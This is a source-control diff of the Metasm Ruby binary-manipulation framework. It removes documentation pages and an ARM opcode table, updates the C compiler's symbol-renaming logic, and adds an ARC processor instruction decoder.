<core/GdbClient.txt> instance, using `setmem` and `getmem`.

View File

@ -1,61 +0,0 @@
WindowsExports
==============
This class is defined in `metasm/os/windows_exports.rb`
It defines an `EXPORT` constant, a Hash, whose keys
are the standard win32 API symbol names, and values
are the library name where you can find this symbol.
The equivalent for GNU/Linux is <core/GNUExports.txt>
Usage
-----
The main usage of this class is the automatic generation
of the <core/PE.txt> import directories from the
external symbols referenced by a binary during compilation.
This is done in the `automagic_symbols` method.
Symbols
-------
The current version holds the symbols available in the
Windows XP SP2 32-bit standard libraries:
* `ntdll`
* `kernel32`
* `user32`
* `gdi32`
* `advapi32`
* `ws2_32`
* `msvcrt`
* `comdlg32`
* `psapi`
Ruby symbols are also defined, from `msvcrt-ruby18`.
Ruby library name
-----------------
On creation, the current ruby library name is inferred
from the `RUBY_PLATFORM` constant, in an effort to
try to use the available ruby library filename.
The only transformation supported now is to rewrite
the ruby version number appearing in the filename for
msvcrt-compiled binaries, so that you get the correct
`msvcrt-ruby192` name for exemple under ruby1.9.
This is implemented in the `patch_rubylib_to_current_interpreter`
method (which is aptly named).
Warning
#######
Note that binaries compiled this way will not work on
other machines where the exact same library is unavailable.

View File

@ -1 +0,0 @@
See <core_classes.txt>

View File

@ -1,75 +0,0 @@
Core classes
============
Core
----
* <core/Expression.txt>
* <core/EncodedData.txt>
* <core/VirtualString.txt>
* <core/Opcode.txt>
* <core/Instruction.txt>
CPUs
----
* <core/CPU.txt>
* <core/Ia32.txt>
* <core/X86_64.txt>
* <core/MIPS.txt>
* <core/PowerPC.txt>
* <core/Sh4.txt>
ExeFormats
----------
* <core/ExeFormat.txt>
* <core/SerialStruct.txt>
* <core/AutoExe.txt>
* <core/Shellcode.txt>
* <core/PE.txt>
* <core/COFF.txt>
* <core/ELF.txt>
C
----
* <core/Preprocessor.txt>
* <core/CParser.txt>
* <core/CCompiler.txt>
Debugger
--------
* <core/OS.txt>
* <core/Debugger.txt>
* <core/LinDebugger.txt>
* <core/WinDebugger.txt>
* <core/PTrace.txt>
* <core/GdbClient.txt>
* <core/WinDbgAPI.txt>
Disassembler
------------
* <core/Disassembler.txt>
* <core/DecodedFunction.txt>
* <core/DecodedInstruction.txt>
* <core/InstructionBlock.txt>
* <core/Decompiler.txt>
GUI
----
* <core/Gui.txt>
* <core/Gui_Drawable.txt>
* <core/Gui_Window.txt>
* <core/Gui_DasmWidget.txt>
* <core/Gui_DebugWidget.txt>
Others
------
* <core/DynLdr.txt>

View File

@ -1,53 +0,0 @@
Metasm feature list
===================
Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger.
See <use_cases.txt>
Architectures
-------------
It is written in such a way that it is easy to add support for new architectures.
For now, the following architectures are in:
* Intel <core/Ia32.txt> (16 and 32bits)
* Intel <core/X86_64.txt> (*aka* Ia32 64bits, X64, AMD64)
* MIPS
* PowerPC
* Sh4
The developpement is generally more focused on Ia32 and X86_64.
File formats
------------
The following executable file formats are supported:
* <core/Shellcode.txt> (raw binary)
* <core/PE.txt>/<core/COFF.txt> (32/64bits)
* <core/ELF.txt> (32/64bits)
Those are supported in a more limited way:
* Mach-O, UniversalBinary
* MZ
* A.out
* XCoff
* NDS
Features
--------
The framework includes
* a graphical <usage/disassembler.txt>
* a graphical <usage/debugger.txt>
* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer)
* an advanced disassembler engine, with limited emulation support
* a full <usage/C_parser.txt> (with preprocessor)
* an experimental <usage/C_compiler.txt> (Ia32 only)
* an experimental <usage/decompiler.txt> (Ia32 only)

View File

@ -1,59 +0,0 @@
The Metasm framework documentation
==================================
Metasm
------
The Metasm framework is an opensource software designed to interact with
the various forms of binary code. It is written in pure Ruby
(<http://ruby-lang.org/>).
More detailed informations can be found in the <feature_list.txt>.
It is distributed freely under the terms of the LGPL.
Documentation organisation
--------------------------
This documentation is split in different parts :
* the <core_classes.txt>
* the major <use_cases.txt>
* <code_organisation.txt>
The first part describes the internal structure of the framework, the
second part is a higher level overview of the software and shows how
the various parts are used and can interract. The last part explains
the role of the source files and directories.
Documentation progress
----------------------
The documentation is written here and there in my free time, and is **very**
**incomplete** as of now. Specifically, all internal links you'll find
ending in `.txt` are link to pages that have not been written yet.
Install notes
-------------
See the <install_notes.txt>
Authors
-------
Metasm is mostly written by Yoann Guillot.
Some parts were added by various contributors, including :
* Julien Tinnès
* Raphaël Rigo
* Arnaud Cornet
* Alexandre Gazet
Contact
-------
The latest version of this documentation can be found on the Metasm site: <http://metasm.cr0.org/doc>
Patches, bug reports, feature requests should be sent to metasm@cr0.org

View File

@ -1,170 +0,0 @@
Metasm installation notes
=========================
Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any
ruby library (except the `metasm/gui`, which may use `gtk2`).
So the install is quite simple.
Download
--------
Metasm is distributed using the `mercurial` source control system.
The recommanded way to install is to use that tool, so you can always be
up-to-date with the latest developpements.
You will also need the Ruby interpreter (version 1.8 and 1.9 are supported).
Linux
#####
Issue the following commands to install the `mercurial` and `ruby` software
sudo apt-get install ruby
sudo apt-get install mercurial
Then download metasm with
hg clone http://metasm.cr0.org/hg/metasm/
This will create a new directory `metasm/` with the latest version of the
framework.
Windows
#######
The ruby website offers many ruby packages. The *RubyInstaller* should
work fine. Go to <http://www.ruby-lang.org/en/downloads/>, under the
`Ruby on Windows` section.
The `mercurial` website has links to various installers:
<http://mercurial.selenic.com/wiki/BinaryPackages>
Choose one, then use the `clone repository` command with the following
url:
http://metasm.cr0.org/hg/metasm/
This will create a new subdirectory `metasm/` with the latest version of
the framework.
Upgrading
---------
To upgrade to the latest and greatest version, launch a shell prompt and
navigate to the metasm directory, then issue:
hg pull -u
which will upgrade your installation to the latest available version.
With `TortoiseHG`, simply issue the `upgrade` command on the `metasm`
directory.
Local installation
------------------
If you simply want to install metasm for your personnal usage (VS a
system-wide installation), follow these steps.
Download the metasm source files under any directory, then update the
environment variable `RUBYLIB` to include this path. The path you add
should be the directory containing the `metasm.rb` script and the `metasm/`,
`samples/`, `doc/` subdirectories.
If `RUBYLIB` is empty or non-existant, simply set its value to the directory,
otherwise you can append the path to an existing list by separating the values
with a `:` such as:
RUBYLIB='/foo/bar:/home/jj/metasm'
Linux
#####
Under linux or cygwin, this is done by modifying your shell profile, e.g.
`~/.bash_profile`, by adding a line such as:
export RUBYLIB='/home/jj/metasm'
You may need to restart your session or start a new shell for the changes
to take effect.
Windows
#######
The environment variables can be set through :
* rightclick on `my computer`
* select tab `advanced`
* click `environment variables`
If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise
create a new variable `RUBYLIB` with the path as value.
You may need to restart your session for the changes to take effect.
Systemwide installation
-----------------------
For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby`
directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\`
for windows users) with the content
# if metasm.rb can be found in /home/jj/metasm/metasm.rb
require '/home/jj/metasm/metasm'
Testing
-------
Open a new shell session and type
ruby -r metasm -e "p Metasm::VERSION"
It should print a single line with a (meaningless) number in it.
Gui
----
If you intend to use the graphical user-interface (debugger/disassembler),
if you are under Windows with a 32bit x86 ruby, this should work out of the
box. In any other case, you'll need the `ruby-gtk2` library.
Linux
#####
Under linux, use your package manager to install `ruby-gtk2`, e.g. for
Debian/Ubuntu, type:
sudo apt-get install libgtk2-ruby
Windows
#######
If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns
something like `[i386-mswin32]`), the Gui should work right away without
`gtk2`, so go directly to the `Testing` part.
Otherwise, you'll need to install the `gtk2` libs and the ruby bindings
manually. Please follow the instructions at
<http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows>
Testing
#######
To test the correct working of the Gui, simply launch the
`samples/disassemble-gui.rb` script found in the metasm directory
(double-click on the script, or type `ruby samples/disassemble-gui.rb` at
a command prompt). It should display a window with a menu, and should
answer to a `ctrl-o` keystroke with an `open binary file` dialog.
See the <usage/disassembler_gui.txt> for more information.

View File

@ -1,3 +0,0 @@
span.quote {
font-family: monospace;
}

View File

@ -1 +0,0 @@
See <use_cases.txt>

View File

@ -1,18 +0,0 @@
Metasm use cases
================
Metasm is intended to be a binary manipulation toolbox.
There are quite a lot of possible usages that can be derived from the
<feature_list.txt>.
The major would be related to:
* the scriptable <usage/debugger.txt>
* the <usage/disassembler.txt> (with the optionnal <usage/disassembler_gui.txt>)
* the <usage/assembler.txt>
* the <usage/C_parser.txt>
* the <usage/C_compiler.txt>
* the <usage/exe_manipulation.txt> facilities
and various interaction between those.

View File

@ -15,6 +15,7 @@ module Metasm
Const_autorequire_equiv = {
'X86' => 'Ia32', 'PPC' => 'PowerPC',
'X64' => 'X86_64', 'AMD64' => 'X86_64',
'MIPS64' => 'MIPS',
'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF',
'DEY' => 'DEX',
'PTrace' => 'LinOS', 'FatELF' => 'ELF',
@ -32,8 +33,9 @@ module Metasm
# files to require to get the definition of those constants
Const_autorequire = {
'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm',
'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik',
'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm',
'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc',
'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf',
'C' => 'compile_c',
'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe',
'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff',
@ -41,10 +43,15 @@ module Metasm
'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho',
'DEX' => 'exe_format/dex',
'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff',
'GameBoyRom' => 'exe_format/gb',
'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol',
'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass',
'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip',
'Shellcode_RWX' => 'exe_format/shellcode_rwx',
'Gui' => 'gui',
'WindowsExports' => 'os/windows_exports',
'GNUExports' => 'os/gnu_exports',
'Debugger' => 'debug',
'LinOS' => 'os/linux', 'WinOS' => 'os/windows',
'GdbClient' => 'os/remote',
'Disassembler' => 'disassemble',

View File

@ -1,177 +0,0 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/arm/main'
module Metasm
class ARM
private
def addop(name, bin, *args)
args << :cond if not args.delete :uncond
o = Opcode.new name, bin
o.args.concat(args & @valid_args)
(args & @valid_props).each { |p| o.props[p] = true }
args.grep(Hash).each { |h| o.props.update h }
# special args -> multiple fields
case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first
when :i8_r; args << :i8 << :rotate
when :rm_is; args << :rm << :stype << :shifti
when :rm_rs; args << :rm << :stype << :rs
when :mem_rn_rm; args << :rn << :rm << :rsx << :u
when :mem_rn_i8_12; args << :rn << :i8_12 << :u
when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u
when :mem_rn_i12; args << :rn << :i12 << :u
end
(args & @fields_mask.keys).each { |f|
o.fields[f] = [@fields_mask[f], @fields_shift[f]]
}
@opcode_list << o
end
def addop_data_s(name, op, a1, a2, *h)
addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
addop name, op, a1, a2, :rm_is, *h
addop name, op | (1 << 4), a1, a2, :rm_rs, *h
end
def addop_data(name, op, a1, a2)
addop_data_s name, op << 21, a1, a2
addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
end
def addop_load_puw(name, op, *a)
addop name, op, {:baseincr => :post}, :rd, :u, *a
addop name, op | (1 << 24), :rd, :u, *a
addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
end
def addop_load_lsh_o(name, op)
addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
end
def addop_load_lsh
op = 9 << 4
addop_load_lsh_o 'strh', op | (1 << 5)
addop_load_lsh_o 'ldrd', op | (1 << 6)
addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5)
addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5)
addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
end
def addop_load_puwt(name, op, *a)
addop_load_puw name, op, *a
addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
end
def addop_load_o(name, op, *a)
addop_load_puwt name, op, :mem_rn_i12, *a
addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
end
def addop_load(name, op)
addop_load_o name, op
addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
end
def addop_ldm_go(name, op, *a)
addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
end
def addop_ldm_w(name, op, *a)
addop_ldm_go name, op, *a # base reg untouched
addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated
end
def addop_ldm_s(name, op)
addop_ldm_w name, op # transfer regs
addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs
end
def addop_ldm_p(name, op)
addop_ldm_s name+'a', op # target memory included
addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr
end
def addop_ldm_u(name, op)
addop_ldm_p name+'d', op # transfer made downward
addop_ldm_p name+'i', op | (1 << 23) # transfer made upward
end
def addop_ldm(name, op)
addop_ldm_u name, op
end
# ARMv6 instruction set, aka arm7/arm9
def init_arm_v6
@opcode_list = []
@valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs <<
:tothumb << :tojazelle
@valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24,
:rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]
@fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
:crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
:rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
:shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
:i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
:u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
@fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
:crn => 16, :crd => 12, :crm => 0, :cpn => 8,
:rnx => 16, :rdx => 12, :rsx => 8,
:shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
:i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
:u => 23, :mask => 16, :sbo => 12, :cond => 28
addop_data 'and', 0, :rd, :rn
addop_data 'eor', 1, :rd, :rn
addop_data 'xor', 1, :rd, :rn
addop_data 'sub', 2, :rd, :rn
addop_data 'rsb', 3, :rd, :rn
addop_data 'add', 4, :rd, :rn
addop_data 'adc', 5, :rd, :rn
addop_data 'sbc', 6, :rd, :rn
addop_data 'rsc', 7, :rd, :rn
addop_data 'tst', 8, :rdx, :rn
addop_data 'teq', 9, :rdx, :rn
addop_data 'cmp', 10, :rdx, :rn
addop_data 'cmn', 11, :rdx, :rn
addop_data 'orr', 12, :rd, :rn
addop_data 'or', 12, :rd, :rn
addop_data 'mov', 13, :rd, :rnx
addop_data 'bic', 14, :rd, :rn
addop_data 'mvn', 15, :rd, :rnx
addop 'b', 0b1010 << 24, :setip, :stopexec, :i24
addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef
addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24
addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm
addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm
addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle
addop_load 'str', (1 << 26)
addop_load 'ldr', (1 << 26) | (1 << 20)
addop_load_lsh
addop_ldm 'stm', (1 << 27)
addop_ldm 'ldm', (1 << 27) | (1 << 20)
end
alias init_latest init_arm_v6
end
end
__END__
addop_cond 'mrs', 0b0001000011110000000000000000, :rd
addop_cond 'msr', 0b0001001010011111000000000000, :rd
addop_cond 'msrf', 0b0001001010001111000000000000, :rd
addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm
addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm
addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm
addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm
addop_cond 'undef', 0b00000110000000000000000000010000
addop_cond 'swi', 0b00001111 << 24
addop_cond 'bkpt', 0b1001000000000000001110000
addop_cond 'movw', 0b0011 << 24, :movwimm

View File

@ -11,14 +11,14 @@ module Metasm
module C
class Parser
def precompile
@toplevel.precompile(Compiler.new(self))
@toplevel.precompile(Compiler.new(self, @program))
self
end
end
# each CPU defines a subclass of this one
class Compiler
# an ExeFormat (mostly used for unique label creation)
# an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name)
attr_accessor :exeformat
# the C Parser (destroyed by compilation)
attr_accessor :parser
@ -26,6 +26,8 @@ module C
attr_accessor :source
# list of unique labels generated (to recognize user-defined ones)
attr_accessor :auto_label_list
# map asm name -> original C name (for exports etc)
attr_accessor :label_oldname
attr_accessor :curexpr
# allows 'raise self' (eg struct.offsetof)
@ -34,9 +36,11 @@ module C
end
# creates a new CCompiler from an ExeFormat and a C Parser
def initialize(parser, exeformat=ExeFormat.new, source=[])
def initialize(parser, exeformat=nil, source=[])
exeformat ||= ExeFormat.new
@parser, @exeformat, @source = parser, exeformat, source
@auto_label_list = {}
@label_oldname = {}
end
def new_label(base='')
@ -155,7 +159,9 @@ module C
c_init_state(func)
# hide the full @source while compiling, then add prolog/epilog (saves 1 pass)
@source << '' << "#{func.name}:"
@source << ''
@source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name]
@source << "#{func.name}:"
presource, @source = @source, []
c_block(func.initializer)
@ -246,6 +252,7 @@ module C
w = data.type.align(@parser)
@source << ".align #{align = w}" if w > align
@source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
@source << data.name.dup
len = c_idata_inner(data.type, data.initializer)
len %= w
@ -398,6 +405,7 @@ module C
end
def c_udata(data, align)
@source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
@source << "#{data.name} "
@source.last <<
case data.type
@ -418,7 +426,11 @@ module C
len == 0 ? align : len
end
# return non-nil if the variable name is unsuitable to appear as is in the asm listing
# eg filter out asm instruction names
def check_reserved_name(var)
return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name)
%w[db dw dd dq].include?(var.name)
end
end
@ -538,21 +550,36 @@ module C
class Declaration
def precompile(compiler, scope)
if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var)
# TODO fix label name in export table if __exported
scope.symbol.delete @var.name
old = @var.name
@var.name = compiler.new_label @var.name until @var.name != old
compiler.toplevel.symbol[@var.name] = @var
# TODO no pure inline if addrof(func) needed
compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline'
ref = scope.symbol.delete old
if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer)
if n = compiler.label_oldname.index(old)
# reuse same name as predeclarations
@var.name = n
else
newname = old
newname = compiler.new_label newname until newname != old
if not compiler.check_reserved_name(@var)
compiler.label_oldname[newname] = old
end
@var.name = newname
end
ref ||= scope.symbol[@var.name] || @var
# append only one actual declaration for all predecls (the one with init, or the last uninit)
scope.statements << self if ref.eql?(@var)
else
@var.name = compiler.new_label @var.name until @var.name != old
compiler.toplevel.statements << self
end
compiler.toplevel.symbol[@var.name] = ref
else
scope.symbol[@var.name] ||= @var
appendme = true
appendme = true if scope.symbol[@var.name].eql?(@var)
end
if i = @var.initializer
if @var.type.kind_of? Function
if @var.type.type.kind_of? Struct
if @var.type.type.kind_of? Union
s = @var.type.type
v = Variable.new
v.name = compiler.new_label('return_struct_ptr')
@ -568,6 +595,7 @@ module C
Label.new(i.return_label).precompile(compiler, i)
i.precompile_optimize
# append now so that static dependencies are declared before us
# TODO no pure inline if addrof(func) needed
scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline'
elsif scope != compiler.toplevel and @var.storage != :static
scope.statements << self if appendme
@ -580,7 +608,6 @@ module C
else
scope.statements << self if appendme
end
end
# turns an initializer to CExpressions in scope.statements
@ -877,7 +904,7 @@ module C
def precompile(compiler, scope)
if @value
@value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression
if @value.type.untypedef.kind_of? Struct
if @value.type.untypedef.kind_of? Union
@value = @value.precompile_inner(compiler, scope)
func = scope.function.type
CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope)
@ -1011,7 +1038,7 @@ module C
lexpr = CExpression.precompile_inner(compiler, scope, @lexpr)
@lexpr = nil
@op = nil
if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0
if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0
off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned))
@rexpr = CExpression.new(lexpr, :'+', off, lexpr.type)
# ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr))
@ -1157,7 +1184,7 @@ module C
}
scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled
CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope)
elsif @type.kind_of? Struct
elsif @type.kind_of? Union
var = Variable.new
var.name = compiler.new_label('return_struct')
var.type = @type
@ -1434,4 +1461,3 @@ module C
end
end
end

View File

@ -0,0 +1,8 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
require 'metasm/cpu/arc/decode'

View File

@ -0,0 +1,425 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/arc/opcodes'
require 'metasm/decode'
module Metasm
class ARC
def major_opcode(val, sz = 16)
return val >> (sz == 16 ? 0xB : 0x1B)
end
def sub_opcode(val)
return ((val >> 16) & 0x3f)
end
def build_opcode_bin_mask(op, sz)
op.bin_mask = 0
op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]}
op.bin_mask = ((1 << sz)-1) ^ op.bin_mask
end
def build_bin_lookaside
bin_lookaside = {}
opcode_list.each{|mode,oplist|
lookaside = {}
# 2nd level to speed up lookaside for major 5
lookaside[5] = {}
oplist.each { |op|
next if not op.bin.kind_of? Integer
build_opcode_bin_mask(op, mode)
mj = major_opcode(op.bin, mode)
if mode == 32 and mj == 5
(lookaside[mj][sub_opcode(op.bin)] ||= []) << op
else
(lookaside[mj] ||= []) << op
end
}
bin_lookaside[mode] = lookaside
}
bin_lookaside
end
def instruction_size(edata)
val = major_opcode(edata.decode_imm(:u16, @endianness))
edata.ptr -= 2
(val >= 0xC) ? 16 : 32
end
def memref_size(di)
case di.opcode.name
when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1
when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2
else 4
end
end
def decode_bin(edata, sz)
case sz
when 16; edata.decode_imm(:u16, @endianness)
when 32
# wordswap
val = edata.decode_imm(:u32, :little)
((val >> 16) & 0xffff) | ((val & 0xffff) << 16)
end
end
def decode_findopcode(edata)
di = DecodedInstruction.new(self)
@instrlength = instruction_size(edata)
val = decode_bin(edata, @instrlength)
edata.ptr -= @instrlength/8
maj = major_opcode(val, @instrlength)
lookaside = @bin_lookaside[@instrlength][maj]
lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5
op = lookaside.select { |opcode|
if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin
puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}"
end
(val & opcode.bin_mask) == opcode.bin
}
if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop'
op = op.last
elsif op == nil or op.size != 1
puts "[> I sense a disturbance in the force <]"
op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" }
puts "current value: #{Expression[val]}"
puts "current value: 0b#{val.to_s(2)}"
op = nil
else
op = op.first
end
di if di.opcode = op
end
Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15]
def reduced_reg_set(i)
Reduced_reg[i]
end
def decode_instr_op(edata, di)
before_ptr = edata.ptr
op = di.opcode
di.instruction.opname = op.name
val = decode_bin(edata, @instrlength)
field_val = lambda { |f|
r = (val >> @fields_shift[f]) & @fields_mask[f]
case f
# 16-bits instruction operands ------------------------------------------"
when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r)
when :ch
r = (((r & 7) << 3) | (r >> 5))
when :@cbu7, :@cbu6, :@cbu5
r = r & 0b11111
r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r)
when :cu5ee; r = r << 2
when :cdisps13
r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2)
when :cdisps10
r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2)
when :cdisps8
r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
when :cdisps7
r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2)
when :cs9, :cs10, :cs11
r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) )))
r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r)
when :@cspu7;
r = r << 2
# 32-bits instruction operands ------------------------------------------"
when :b
r = (r >> 12) | ((r & 0x7) << 3)
when :s8e
r = ((r & 0x1) << 7) | (r >> 2)
r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2)
when :u6e
r = (r << 1) + ((di.address >> 2) << 2)
when :s9
r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
when :s12
r = (r >> 6) | ((r & 0x3f) << 6)
r = Expression.make_signed(r, 12)
when :s12e
r = (r >> 6) | ((r & 0x3f) << 6)
r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2)
when :s21e
r = ((r & 0x3ff) << 10) | (r >> 11)
r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2)
when :s21ee # pc-relative
r = ((r & 0x3ff) << 9) | (r >> 12)
r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2)
when :s25e # pc-relative
r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17)
r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2)
when :s25ee # pc-relative
r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18)
r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2)
when :@bs9
r = r >> 3
s9 = ((r & 1) << 8) | ((r >> 1) & 0xff)
r = Expression.make_signed(s9, 9)
when :bext, :cext, :@cext
if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E)
tmp = edata.decode_imm(:u32, :little)
r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
else
r = GPR.new(r)
end
else r
end
r
}
# decode properties fields
op.args.each { |a|
case a
when :flags15, :flags16
di.instruction.opname += '.f' if field_val[a] != 0
when :ccond
di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0
when :delay5, :delay16
di.instruction.opname += '.d' if field_val[a] != 0
when :cache5, :cache11, :cache16
di.instruction.opname +='.di' if field_val[a] != 0
when :signext6, :signext16
di.instruction.opname += '.x' if field_val[a] != 0
when :wb3, :wb9, :wb22
case field_val[a]
when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a')
when 2; di.instruction.opname += '.ab'
when 3; di.instruction.opname += '.as'
end
when :sz1, :sz7, :sz16, :sz17
case field_val[a]
when 1; di.instruction.opname += 'b'
when 2; di.instruction.opname += 'w'
end
else
di.instruction.args << case a
# 16-bits instruction operands ------------------------------------------"
when :cr0; GPR.new 0
when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a])
when :ch
if ((r = field_val[a]) == 0x3E)
tmp = edata.decode_imm(:u32, :little)
Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
else
GPR.new(r)
end
when :@gps9, :@gps10, :@gps11
imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9
Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di))
when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]]
